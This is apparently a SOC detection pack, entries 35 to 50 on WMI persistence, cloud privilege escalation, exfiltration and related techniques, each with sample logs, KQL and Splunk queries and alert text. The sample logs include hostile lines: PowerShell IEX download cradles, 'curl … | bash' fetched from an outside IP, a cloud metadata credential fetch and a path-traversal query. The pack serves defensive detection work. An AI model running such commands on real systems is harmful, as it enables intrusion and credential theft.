TECHNIQUE: T1546.003 - EVENT TRIGGERED EXECUTION: WINDOWS MANAGEMENT INSTRUMENTATION EVENT SUBSCRIPTION
ENVIRONMENT: SYSMON + WMI LOGS + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: WMI Event Log (Microsoft-Windows-WMI-Activity/Operational)


```
{
  "Timestamp": "2025-07-04T13:21:00Z",
  "User": "svc.taskrunner",
  "Namespace": "root\\subscription",
  "Consumer": "CommandLineEventConsumer",
  "CommandLineTemplate": "powershell -w hidden -nop -c IEX(New-Object
Net.WebClient).DownloadString('http://203.0.113.25/b.ps1')",
  "Filter": "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA
'Win32_Process'"
}
```


Data Source: Sysmon Event ID 1


```
{
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "Parent": "WmiPrvSE.exe",
  "User": "svc.taskrunner",
  "Timestamp": "2025-07-04T13:21:03Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where InitiatingProcessFileName == "WmiPrvSE.exe"
| where ProcessCommandLine has "DownloadString" or ProcessCommandLine has "IEX"
| join kind=inner (
    WMILog
    | where Namespace == "root\\subscription"
) on DeviceName
| project Timestamp, AccountName, ProcessCommandLine, DeviceName
```

SPLUNK

```
index=wmi_logs OR index=sysmon
| search ParentProcess="WmiPrvSE.exe" CommandLine="*DownloadString*"
| join User [
  search index=wmi_logs Namespace="root\\subscription"
]
| stats count by User, CommandLine, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious WMI Event Subscription Created
Severity: High
Description: A WMI event subscription was created by svc.taskrunner to trigger PowerShell payloads when new processes are created. Persistence confirmed via Sysmon.
Recommended Action:

- Remove malicious WMI subscriptions using Get-WmiObject -Namespace root\subscription
- Audit host for other persistence techniques
- Block outbound calls to identified malicious domains
- Review all scheduled tasks and autoruns on the device

DETECTION PACK ENTRY 35
USE CASE: GCP IAM PRIVILEGE ESCALATION VIA SERVICE ACCOUNT IMPERSONATION
TACTIC: PRIVILEGE ESCALATION
TECHNIQUE: T1078.004 - CLOUD ACCOUNTS
ENVIRONMENT: GCP AUDIT LOGS + IAM CONFIG + CASB

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GCP IAM Audit Log


```
{
 "Timestamp": "2025-07-04T14:38:19Z",
 "Actor": "dev-intern@clientorg.com",
 "Method": "SetIamPolicy",
 "Target": "serviceAccount:admin-svc@clientorg.com",
 "Permission": "iam.serviceAccounts.actAs",
 "IP": "185.123.33.101"
}
```


Data Source: GCP Access Log


```
{
 "Timestamp": "2025-07-04T14:39:08Z",
 "User": "dev-intern@clientorg.com",
 "Impersonated": "admin-svc@clientorg.com",
 "Action": "Create VM",
 "Project": "prod-analytics"
}
```


DETECTION QUERY

KQL (via GCP Audit ingestion in Sentinel)

```
GCPAuditLogs
| where MethodName == "SetIamPolicy" and TargetResource contains "serviceAccount"
| where ProtoPayload.authorizationInfo[].permission has "actAs"
| join kind=inner (
   GCPAccessLogs
   | where Actor != ImpersonatedIdentity
) on Actor
```

SPLUNK

```
index=gcp_audit_logs
| search Method="SetIamPolicy" Permission="*actAs*"
| join Actor [
  search index=gcp_access_logs User!=Impersonated
]
| stats count by Actor, Impersonated, Action, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: GCP Privilege Escalation via Service Account Impersonation
Severity: Critical
Description: dev-intern@clientorg.com granted themselves actAs permission over admin-svc and used it to spin up a VM under prod-analytics.
Recommended Action:

- Revoke impersonation rights and delete created resources
- Review GCP IAM roles for least privilege violations
- Implement automated detections on service account changes
- Log all actAs usage and correlate with access context

DETECTION PACK ENTRY 36
USE CASE: ARCHIVE BOMB (NESTED ZIP DOS ATTEMPT)
TACTIC: IMPACT
TECHNIQUE: T1499.001 - ENDPOINT DENIAL OF SERVICE: RESOURCE EXHAUSTION
ENVIRONMENT: ENDPOINT + EMAIL GATEWAY + DLP

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Email Gateway Logs


```
{
  "Timestamp": "2025-07-04T15:22:17Z",
  "Sender": "unknown@untrustedmail.com",
  "Recipient": "it.support@clientorg.com",
  "Attachment": "Resume_2025.zip",
  "AttachmentSize": "4 MB",
  "AttachmentType": "ZIP",
  "NestedLevels": 100,
  "ContainedFiles": 800,000
}
```


Data Source: EDR + Endpoint Alert


```
  "File": "Resume_2025.zip",
  "DecompressionStarted": "Yes",
  "SystemImpact": "RAM usage > 90%",
  "CPU": "100%",
  "EDR Alert": "Archive bomb detected based on decompression rate",
  "Host": "HELPDESK-WS-02"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
EmailAttachmentInfo
| where AttachmentType == "ZIP" and AttachmentSize < 10mb
| join kind=inner (
   DevicePerformanceLogs
   | where CPUUtilization > 90 and MemoryUtilization > 90
) on Recipient
```

SPLUNK

```
index=email_logs OR index=edr
| search Attachment="*.zip" AttachmentSize<10000000
| join Recipient [
  search index=edr SystemImpact="RAM usage > 90%"
]
| stats count by Host, File, Sender, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: ZIP Archive Bomb Attempt Detected
Severity: High
Description: Resume_2025.zip attachment from unknown sender caused 100% CPU and RAM usage on HELPDESK-WS-02. Decompression attempt triggered EDR alert.
Recommended Action:

- Quarantine email and block sender domain
- Educate users on compressed archive phishing vectors
- Set mail gateway policies to inspect nested archive depth
- Apply EDR policy to kill high-resource unzip processes

DETECTION PACK ENTRY 37
USE CASE: ABUSE OF TEAMS WEBHOOK FOR DATA EXFILTRATION
TACTIC: EXFILTRATION
TECHNIQUE: T1567.001 - EXFILTRATION OVER WEB SERVICE
ENVIRONMENT: PROXY LOGS + APP GATEWAY + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy Logs


```
{
 "Timestamp": "2025-07-05T08:11:30Z",
 "User": "amir.salim@clientorg.com",
 "Device": "OPS-WS-13",
 "DestinationURL": "https://outlook.office.com/webhook/bb2a34e1...",
 "Method": "POST",
 "PayloadSize": 2.4 MB,
 "Category": "Collaboration",
 "UserAgent": "curl/7.81.0"
}
```


Data Source: UEBA


```
{
 "AnomalyType": "Unusual Use of Microsoft Teams Webhook",
 "Confidence": "High",
 "User": "amir.salim@clientorg.com",
 "Context": "Webhook used outside Teams desktop/web client",
 "Timestamp": "2025-07-05T08:11:32Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
ProxyLogs
| where Url has "webhook" and Url has "outlook.office.com"
| where HttpMethod == "POST" and PayloadSize > 1000000
| where UserAgent !has_any ("Teams", "Office")
| project Timestamp, Url, PayloadSize, UserAgent, AccountName
```

SPLUNK

```
index=proxy_logs OR index=ueba
| search URL="*webhook*" AND URL="*outlook.office.com*" AND Method="POST"
| search UserAgent!="*Teams*" AND UserAgent!="*Office*"
| stats sum(PayloadSize) as TotalSent by User, URL, _time
| where TotalSent > 1000000
```

ALERT OUTPUT EXAMPLE

Alert Name: Exfiltration via Microsoft Teams Webhook
Severity: High
Description: User amir.salim@clientorg.com used curl to send 2.4MB of data to a Microsoft Teams webhook endpoint. Action did not originate from legitimate Teams clients.
Recommended Action:

- Revoke and rotate any exposed webhook URLs
- Review Teams usage policy and outbound controls
- Investigate data sent and its source on endpoint
- Monitor for other unusual POSTs to collaboration platforms

DETECTION PACK ENTRY 38
USE CASE: SUSPICIOUS OUTBOUND SQL CONNECTIONS TO UNKNOWN DBS
TACTIC: COMMAND AND CONTROL / EXFILTRATION
TECHNIQUE: T1071.005 - APPLICATION LAYER PROTOCOL: SQL
ENVIRONMENT: NDR + EDR + PROXY LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: NDR + Firewall Logs


```
{
  "Timestamp": "2025-07-05T09:18:00Z",
  "SourceIP": "10.15.55.87",
  "DestinationIP": "192.0.2.245",
  "DestinationPort": 1433,
  "Application": "TDS (MSSQL)",
  "Detection": "Outbound SQL session initiated",
  "BytesOut": "92 MB"
}
```


Data Source: Sysmon (Event ID 3)


```
{
  "Process": "sqlcmd.exe",
  "CommandLine": "sqlcmd -S 192.0.2.245 -U sa -P P@ssw0rd",
  "User": "it.automation@clientorg.com",
  "Timestamp": "2025-07-05T09:17:57Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceNetworkEvents
| where RemotePort == 1433 and Direction == "Outbound"
| join kind=inner (
    DeviceProcessEvents
    | where FileName == "sqlcmd.exe"
) on DeviceId
| where RemoteIP !in ("approved_sql_ips")
| summarize BytesOut = sum(SentBytes) by AccountName, RemoteIP, Timestamp
```

SPLUNK

```
index=ndr OR index=sysmon
| search DestinationPort=1433 AND Direction="Outbound"
| join Process [
  search index=sysmon CommandLine="*sqlcmd*"
]
| stats sum(BytesOut) as TotalSent by User, RemoteIP, _time
| where TotalSent > 50000000
```

ALERT OUTPUT EXAMPLE

Alert Name: Outbound SQL Connection to Untrusted Host
Severity: High
Description: sqlcmd.exe used by it.automation@clientorg.com connected to external IP 192.0.2.245:1433, transferring ~92MB. Possible exfiltration via SQL protocol.
Recommended Action:

- Block destination IP at perimeter
- Review endpoint for staging of large data sets
- Verify credentials used in SQL command
- Perform full process chain analysis

DETECTION PACK ENTRY 39
USE CASE: EXPLOITING VULNERABLE BROWSER EXTENSION
TACTIC: EXECUTION
TECHNIQUE: T1189 - DRIVE-BY COMPROMISE
ENVIRONMENT: EDR + PROXY + EXTENSION MONITORING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: EDR + Chrome Extension API


```
{
 "Timestamp": "2025-07-05T10:44:15Z",
 "Device": "MKT-WS-06",
 "User": "nadira.lim@clientorg.com",
 "ExtensionID": "nmfgfkgldsjbdfhkljd",
 "ExtensionName": "PDF Converter Pro",
 "ExtensionPermissions": ["tabs", "webRequest", "downloads"],
 "MaliciousScript": "document.location = 'http://198.51.100.20/steal.js'",
 "ExecutionOrigin": "extension_background.js"
}
```


Data Source: Proxy Logs


```
{
 "URL": "http://198.51.100.20/steal.js",
 "Method": "GET",
 "UserAgent": "ChromeExtension",
 "BytesReceived": 14 KB,
 "Timestamp": "2025-07-05T10:44:17Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
BrowserExtensionLogs
| where ExtensionPermissions has_any ("tabs", "webRequest", "downloads")
| where ExtensionID in ("nmfgfkgldsjbdfhkljd")
| join kind=inner (
   ProxyLogs
   | where Url contains "steal.js"
) on AccountName
```

SPLUNK

```
index=chrome_extensions OR index=proxy_logs
| search ExtensionName="PDF Converter Pro" URL="*steal.js*"
| stats count by User, ExtensionName, ExtensionID, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malicious Browser Extension Exploited
Severity: High
Description: The Chrome extension PDF Converter Pro downloaded steal.js from an external domain. Execution originated from extension_background.js.
Recommended Action:

- Disable and remove the extension from affected systems
- Block domain 198.51.100.20 at proxy/DNS level
- Scan browser profiles for injected JavaScript
- Enforce extension allowlisting policy

DETECTION PACK ENTRY 40
USE CASE: DNS OVER HTTPS (DOH) USED TO BYPASS DNS LOGGING
TACTIC: DEFENSE EVASION
TECHNIQUE: T1568.002 - DYNAMIC RESOLUTION: ENCRYPTED DNS
ENVIRONMENT: PROXY + NDR + HOST AGENT LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy Logs


```
{
 "Timestamp": "2025-07-06T09:05:55Z",
 "User": "faiz.halim@clientorg.com",
 "Device": "RND-WS-15",
 "Destination": "https://dns.google/dns-query",
 "Method": "POST",
 "Payload": "Encrypted DNS request",
 "Tool": "dnscrypt-proxy",
 "BytesOut": 412 KB,
 "UserAgent": "dnscrypt-proxy/2.1.0"
}
```


Data Source: NDR Alert


```
{
 "Type": "Encrypted DNS Detected",
 "Confidence": "High",
 "ToolDetected": "dnscrypt-proxy",
 "TriggerHost": "RND-WS-15",
 "Risk": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
ProxyLogs
| where Url contains "dns-query" or UserAgent has "dnscrypt"
| where BytesSent > 100000
| project Timestamp, AccountName, Url, UserAgent, BytesSent
```

SPLUNK

```
index=proxy_logs OR index=ndr
| search URL="*dns-query*" OR UserAgent="*dnscrypt*"
| stats sum(BytesSent) as TotalBytes by User, Device, _time
| where TotalBytes > 100000
```

ALERT OUTPUT EXAMPLE

Alert Name: DNS over HTTPS (DoH) Tunnel Detected
Severity: Medium–High
Description: Host RND-WS-15 using dnscrypt-proxy to send encrypted DNS queries to dns.google. Bypasses internal DNS logging.
Recommended Action:

- Block external DoH endpoints at firewall
- Remove dnscrypt-proxy from the endpoint
- Route all DNS through controlled resolvers
- Add EDR policies to flag encrypted DNS clients

DETECTION PACK ENTRY 41
USE CASE: POWERSHELL EXECUTION VIA WMI CONSUMER CHAIN
TACTIC: EXECUTION / PERSISTENCE
TECHNIQUE: T1047 + T1546.003 - WINDOWS MANAGEMENT INSTRUMENTATION / EVENT TRIGGER
ENVIRONMENT: SYSMON + WMI LOGS + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1


```
{
 "Timestamp": "2025-07-06T10:40:22Z",
 "Process": "powershell.exe",
 "Parent": "WmiPrvSE.exe",
 "CommandLine": "powershell.exe -nop -enc aQBlAHgAKAAu...",
 "User": "svc.mgmt@clientorg.com",
 "Device": "MGMT-WS-07"
}
```


Data Source: WMI Consumer Log


```
{
 "Namespace": "root\\subscription",
 "FilterName": "ProcessWatch",
 "ConsumerType": "ActiveScriptEventConsumer",
 "ScriptContent": "powershell.exe -nop -enc aQBlAHgAKAAu...",
 "Trigger": "__InstanceModificationEvent"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where InitiatingProcessFileName == "WmiPrvSE.exe"
| where FileName == "powershell.exe" and ProcessCommandLine has "-enc"
| join kind=inner (
   WMILog
   | where ConsumerType == "ActiveScriptEventConsumer"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=wmi_logs
| search Parent="WmiPrvSE.exe" CommandLine="*-enc*"
| join Device [
  search index=wmi_logs ConsumerType="ActiveScriptEventConsumer"
]
| stats count by User, CommandLine, Device, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: PowerShell Launched via WMI Event Consumer
Severity: High
Description: WMI event consumer on MGMT-WS-07 launched encoded PowerShell via WmiPrvSE.exe. Indicates hidden persistence mechanism.
Recommended Action:

- Delete malicious WMI filters and consumers
- Inspect PowerShell payload content via decoding
- Lock down WMI namespaces for non-admins
- Isolate host and perform memory capture

DETECTION PACK ENTRY 42
USE CASE: MALICIOUS OUTLOOK EMAIL RULE FOR AUTO-FORWARDING
TACTIC: PERSISTENCE / COLLECTION
TECHNIQUE: T1114.003 - EMAIL COLLECTION: OUTLOOK RULES
ENVIRONMENT: EXCHANGE + DEFENDER FOR O365 + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Exchange Audit Log


```
{
 "Timestamp": "2025-07-06T11:57:41Z",
 "User": "karen.yeoh@clientorg.com",
 "RuleName": "AutoForward_Inbox",
 "Condition": "Apply to all messages",
 "Action": "Forward to exfiltrator@maliciousmail.com",
 "CreatedBy": "Outlook Web App",
 "IP": "185.144.33.77"
}
```


Data Source: Defender for O365 Alert


```
{
 "AlertTitle": "Suspicious Inbox Rule Created",
 "User": "karen.yeoh@clientorg.com",
 "Severity": "High",
 "Detection": "Rule forwards all mail to external domain",
 "Method": "Web Access",
 "OriginIP": "Unfamiliar"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Exchange logs)

```
EmailEvents
| where Action == "InboxRuleCreated" and RuleAction has "Forward"
| where RuleTargetDomain !endswith "clientorg.com"
| project Timestamp, User, RuleTarget, RuleName, ClientIP
```

SPLUNK

```
index=exchange_logs OR index=o365_defender
```

```
| search Action="InboxRuleCreated" RuleAction="*Forward*"
| search RuleTarget!="*@clientorg.com"
| stats count by User, RuleTarget, ClientIP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malicious Email Rule for External Auto-Forwarding
Severity: High
Description: An inbox rule created via OWA auto-forwards all messages from karen.yeoh@clientorg.com to an external malicious address.
Recommended Action:

- Delete the rule via Exchange admin center or PowerShell
- Notify user and reset credentials
- Check if attacker had earlier OWA session access
- Enable rule creation monitoring and alerting

DETECTION PACK ENTRY 43
USE CASE: SSH BRUTE FORCE ON EXPOSED LINUX CLOUD INSTANCE
TACTIC: INITIAL ACCESS
TECHNIQUE: T1110.001 - BRUTE FORCE: PASSWORD GUESSING
ENVIRONMENT: LINUX AUDIT LOGS + FIREWALL + CLOUD IDS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: UFW/SSH Logs (/var/log/auth.log)


```
{
 "Timestamp": "2025-07-07T02:33:14Z",
 "SourceIP": "103.87.12.54",
 "Port": 22,
 "Username": "admin",
 "Result": "Failed password",
 "AttemptCount": 116,
 "Target": "cloud-prod-vm01"
}
```


Data Source: Cloud IDS Alert


```
{
 "AlertType": "SSH Brute Force",
 "SourceIP": "103.87.12.54",
 "Destination": "cloud-prod-vm01",
 "Count": 100+ attempts within 5 minutes,
 "Confidence": "High"
}
```


DETECTION QUERY

KQL (Sentinel - Syslog via Log Analytics Agent)

```
Syslog
| where Facility == "auth" and ProcessName == "sshd"
| where SyslogMessage contains "Failed password"
| summarize Count = count() by bin(TimeGenerated, 5m), HostName, ProcessName,
SyslogMessage, SourceIP
| where Count > 50
```

SPLUNK

```
index=syslog sourcetype=linux_secure
| search "Failed password"
| bucket _time span=5m
| stats count by SourceIP, Host, _time
| where count > 50
```

ALERT OUTPUT EXAMPLE

Alert Name: SSH Brute Force Attempt from 103.87.12.54
Severity: High
Description: Over 100 failed SSH login attempts were detected on cloud-prod-vm01 targeting the admin account from IP 103.87.12.54.
Recommended Action:

- Block source IP in cloud firewall rules
- Disable password authentication; enforce key-based login
- Enable fail2ban or similar host-based protection
- Review SSH audit logs for any successful intrusion

DETECTION PACK ENTRY 44
USE CASE: EXPLOITING CLOUD METADATA API FOR CREDENTIAL THEFT
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1552.005 - CLOUD INSTANCE METADATA API
ENVIRONMENT: CLOUD LOGS + NDR + SYSMON (FOR CURL/WGET)

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 (Linux equivalent collected)


```
{
 "Timestamp": "2025-07-07T04:16:07Z",
 "Command": "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/",
 "User": "webuser",
 "Device": "cloud-app-node-3"
}
```


Data Source: CloudTrail / GCP Access Logs


```
{
 "Resource": "metadata API",
 "AccessedBy": "webuser",
 "IP": "localhost",
 "TokenFetched": "temp AWS credentials",
 "AccessMethod": "curl",
 "Timestamp": "2025-07-07T04:16:08Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel via Defender for Cloud or AWS/GCP logs)

```
Syslog
| where CommandLine has "169.254.169.254" or CommandLine has "metadata"
| join kind=inner (
   CloudAuditLogs
   | where Resource has "security-credentials"
) on HostName
```

SPLUNK

```
index=sysmon OR index=cloudtrail
| search CommandLine="*169.254.169.254*" OR Resource="*security-credentials*"
```

| stats count by User, Device, CommandLine, _time

ALERT OUTPUT EXAMPLE

Alert Name: Metadata API Access – Potential Credential Harvesting
Severity: High
Description: Cloud instance cloud-app-node-3 accessed the metadata service to fetch IAM credentials using curl. Indicates possible exploitation.
Recommended Action:

- Inspect process ancestry and investigate web server exposure
- Rotate exposed temporary credentials immediately
- Implement IMDSv2 (token-based metadata access) in AWS
- Restrict metadata access via firewall or local policies

DETECTION PACK ENTRY 45
USE CASE: GCP CLOUD STORAGE BUCKET MISUSE FOR MALWARE HOSTING
TACTIC: IMPACT / INITIAL ACCESS
TECHNIQUE: T1190 - EXPLOIT PUBLIC-FACING APPLICATION / T1566 - PHISHING HOSTING
ENVIRONMENT: GCP STORAGE LOGS + VIRUSTOTAL / THREAT INTEL + PROXY LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GCP Storage Access Logs


```
{
 "Timestamp": "2025-07-07T06:02:14Z",
 "Bucket": "clientorg-public-resources",
 "Object": "invoice_viewer.exe",
 "AccessType": "Public Read",
 "UploadedBy": "intern.dev@clientorg.com",
 "Size": "2.1MB",
 "SHA256": "f3b9e3d0...ab1c",
 "VirusTotal": "Malicious"
}
```


Data Source: Proxy Logs


```
{
 "RequestURL": "https://storage.googleapis.com/clientorg-public-
resources/invoice_viewer.exe",
 "UserAgent": "Chrome/119",
 "BytesDownloaded": 2.1MB,
 "Referrer": "phishcampaign.mailhoster.io"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel via GCP connector)

```
GCPStorageLogs
| where ObjectName endswith ".exe" and AccessType == "Public Read"
| join kind=inner (
   ThreatIntelIndicators
   | where SHA256 == FileHash
```

) on SHA256

SPLUNK

```
index=gcp_storage OR index=proxy_logs
| search URL="*.exe" AND URL="*storage.googleapis.com*"
| join SHA256 [
  search index=threatintel Verdict="Malicious"
]
| stats count by Bucket, Object, UploadedBy, URL, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malicious Executable Hosted on Public GCP Bucket
Severity: High
Description: invoice_viewer.exe was uploaded by intern.dev@clientorg.com to a public GCP bucket and flagged as malicious by VirusTotal.
Recommended Action:

- Immediately revoke public access and delete the file
- Review permissions of all public buckets
- Notify all users who may have downloaded the file
- Implement bucket-level restrictions and version control

DETECTION PACK ENTRY 46
USE CASE: AZURE FUNCTION ABUSE FOR HIDDEN CODE EXECUTION
TACTIC: EXECUTION
TECHNIQUE: T1059 - COMMAND AND SCRIPTING INTERPRETER
ENVIRONMENT: AZURE ACTIVITY LOGS + APP INSIGHTS + DEFENDER FOR CLOUD

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure Activity Logs


```
{
  "Timestamp": "2025-07-07T08:30:25Z",
  "Actor": "svc.logic@clientorg.com",
  "OperationName": "Function App Deploy",
  "FunctionName": "processFile",
  "Code": "function(req, res) { require('child_process').exec('curl http://198.51.100.22/sh.sh
| bash'); }",
  "Location": "East US"
}
```


Data Source: App Insights Logs


```
{
  "InvocationID": "xyz-123",
  "Function": "processFile",
  "ExecutionTime": "152ms",
  "Output": "Shell session started",
  "IP": "198.51.100.22"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
AzureDiagnostics
| where Category == "FunctionAppLogs"
| where Message has "child_process" or Message has "exec"
| join kind=inner (
    AzureActivity
    | where OperationName has "Deploy" and Properties has "Function"
) on ResourceId
| project Timestamp, Actor, FunctionName, Message, Location
```

SPLUNK

```
index=azure_logs OR index=app_insights
| search Message="*child_process.exec*" OR Message="*bash*"
| join FunctionName [
  search index=azure_activity OperationName="Function App Deploy"
]
| stats count by Actor, FunctionName, IP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Azure Function Deployment Executing Shell Commands
Severity: High
Description: Function processFile was deployed by svc.logic@clientorg.com to execute shell code via curl | bash. May be a covert execution vector.
Recommended Action:

- Disable the function app and revoke the service account
- Audit other deployed functions for similar code
- Block external command sources at the firewall
- Alert dev teams about secure serverless practices

DETECTION PACK ENTRY 47
USE CASE: UNAUTHORIZED MAILBOX EXPORT VIA EDISCOVERY IN MICROSOFT 365
TACTIC: COLLECTION
TECHNIQUE: T1114.002 - EMAIL COLLECTION: EDISCOVERY EXPORT
ENVIRONMENT: MICROSOFT PURVIEW (COMPLIANCE CENTER) + DEFENDER FOR O365

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Microsoft 365 Audit Logs


```
{
 "Timestamp": "2025-07-07T09:50:10Z",
 "User": "syahril.rahim@clientorg.com",
 "Operation": "Export Results",
 "CaseName": "eDiscovery-MassExport",
 "MailboxCount": 38,
 "FileSize": "7.4GB",
 "ClientIP": "45.33.112.45"
}
```


Data Source: Defender for O365 Alert


```
{
 "AlertTitle": "Unusual eDiscovery Export Activity",
 "Severity": "High",
 "User": "syahril.rahim@clientorg.com",
 "TriggeredBy": "Export of 30+ mailboxes",
 "Origin": "ComplianceCenter",
 "Confidence": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Unified Audit Logs)

```
OfficeActivity
| where Operation == "Export Results"
| where MailboxCount > 10 and FileSize > 5000000000
| project Timestamp, UserId, CaseName, FileSize, ClientIP
```

SPLUNK

```
index=m365_audit
| search Operation="Export Results"
| stats count by User, MailboxCount, FileSize, ClientIP, _time
| where MailboxCount > 10 AND FileSize > 5000000000
```

ALERT OUTPUT EXAMPLE

Alert Name: Large-Scale eDiscovery Mailbox Export Detected
Severity: High
Description: User syahril.rahim@clientorg.com exported 38 mailboxes totalling 7.4GB via eDiscovery tools. Action did not follow standard approval workflow.
Recommended Action:

- Immediately revoke export token and session
- Investigate the justification and chain of access
- Notify compliance and HR for breach review
- Implement DLP alerts for mailbox exports

DETECTION PACK ENTRY 48
USE CASE: INSIDER PLACES RANSOMWARE LOADER IN SCHEDULED TASK DIRECTORY
TACTIC: IMPACT / PERSISTENCE
TECHNIQUE: T1053.005 + T1486 – SCHEDULED TASK + DATA ENCRYPTION
ENVIRONMENT: EDR + SYSMON + WINDOWS TASK SCHEDULER LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1


```
{
 "Timestamp": "2025-07-07T11:23:19Z",
 "Image": "C:\\Users\\Public\\ransom_updater.exe",
 "FileDescription": "Updater",
 "ParentImage": "C:\\Windows\\System32\\schtasks.exe",
 "User": "mohd.jazli@clientorg.com"
}
```


Data Source: Task Scheduler Event ID 106


```
{
 "ScheduledTaskName": "UpdateCheckService",
 "Path": "C:\\Users\\Public\\ransom_updater.exe",
 "Trigger": "Hourly",
 "RunAsUser": "SYSTEM",
 "Author": "mohd.jazli@clientorg.com",
 "Device": "ENG-WS-21"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName endswith ".exe" and FolderPath has "\\Users\\Public"
| where ProcessCommandLine has "schtasks" or InitiatingProcessFileName ==
"schtasks.exe"
| join kind=inner (
   WindowsEvent
   | where EventID == 106 and ScheduledTaskName contains "Update"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=task_logs
| search FileName="*.exe" AND FolderPath="*\\Users\\Public*" AND
ParentImage="*schtasks.exe"
| stats count by User, FileName, Device, ScheduledTaskName, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Scheduled Task Points to Ransomware Loader
Severity: Critical
Description: Task UpdateCheckService created by mohd.jazli@clientorg.com on ENG-WS-21 runs an executable from C:\Users\Public\. Pattern matches ransomware dropper placement.
Recommended Action:

- Isolate endpoint and disable the task
- Submit binary for sandbox analysis
- Begin ransomware response playbook (backup validation, IOC scanning)
- Review insider access rights and logs across shared folders

DETECTION PACK ENTRY 49
USE CASE: CLOUD WORKLOAD ABUSE VIA OVER-PERMISSIONED SERVICE ROLE
TACTIC: PRIVILEGE ESCALATION / EXECUTION
TECHNIQUE: T1078.004 - CLOUD ACCOUNTS
ENVIRONMENT: AWS CLOUDTRAIL / GCP IAM LOGS / AZURE ACTIVITY

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: AWS CloudTrail


```
{
 "Timestamp": "2025-07-08T03:11:52Z",
 "Actor": "ec2-instance-role-dev-003",
 "Operation": "iam:AttachUserPolicy",
 "TargetUser": "external.contractor@clientorg.com",
 "Policy": "AdministratorAccess",
 "SourceIP": "172.16.45.9",
 "Environment": "us-west-2"
}
```


Data Source: IAM Role Trust Policy


```
{
 "RoleName": "ec2-instance-role-dev-003",
 "TrustedEntity": "ec2.amazonaws.com",
 "AttachedPolicies": ["AmazonEC2FullAccess", "iam:*"]
}
```


DETECTION QUERY

KQL (via AWS logs in Sentinel)

```
AWSCloudTrail
| where EventName == "AttachUserPolicy" and PolicyName == "AdministratorAccess"
| where UserIdentity.arn contains "instance-role"
| project Timestamp, UserIdentity.arn, EventName, TargetUser, SourceIpAddress
```

SPLUNK

```
index=cloudtrail
| search EventName="AttachUserPolicy" Policy="AdministratorAccess"
| search Actor="*instance-role*"
```

| stats count by Actor, TargetUser, SourceIP, _time

ALERT OUTPUT EXAMPLE

Alert Name: Over-Permissioned Instance Role Abused for Privilege Escalation
Severity: Critical
Description: The EC2 instance role ec2-instance-role-dev-003 was used to grant AdministratorAccess to external.contractor@clientorg.com. Indicates abuse of over-permissioned workloads.
Recommended Action:

- Detach the role and revoke granted policies
- Implement least privilege for all instance roles
- Investigate logs for command execution by target user
- Enforce tagging and boundary policies for service roles

DETECTION PACK ENTRY 50
USE CASE: EXPLOIT CHAIN VIA VULNERABLE INTERNAL HR API
TACTIC: INITIAL ACCESS / EXECUTION
TECHNIQUE: T1190 - EXPLOIT PUBLIC-FACING APPLICATION
ENVIRONMENT: API GATEWAY + WEB SERVER LOGS + WAF

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Web Server Access Logs


```
{
 "Timestamp": "2025-07-08T04:23:44Z",
 "Path": "/api/v1/hr/profile",
 "Method": "GET",
 "Query": "id=../../../etc/passwd",
 "UserAgent": "Mozilla/5.0 (exploit-scanner)",
 "SourceIP": "82.113.21.91",
 "Status": "200 OK",
 "ResponseSize": "3134 bytes"
}
```


Data Source: WAF Logs


```
{
 "RuleSet": "PathTraversalProtection",
 "Evaluation": "Bypassed",
 "AnomalyScore": "Low",
 "Allowed": true
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
WebServerLogs
| where Url has "api/v1/hr/profile" and QueryString contains "../../../"
| join kind=leftanti (
   WAFLogs
   | where DetectionStatus == "Blocked"
) on ClientIP
| project Timestamp, ClientIP, Path, QueryString, ResponseSize
```

SPLUNK

```
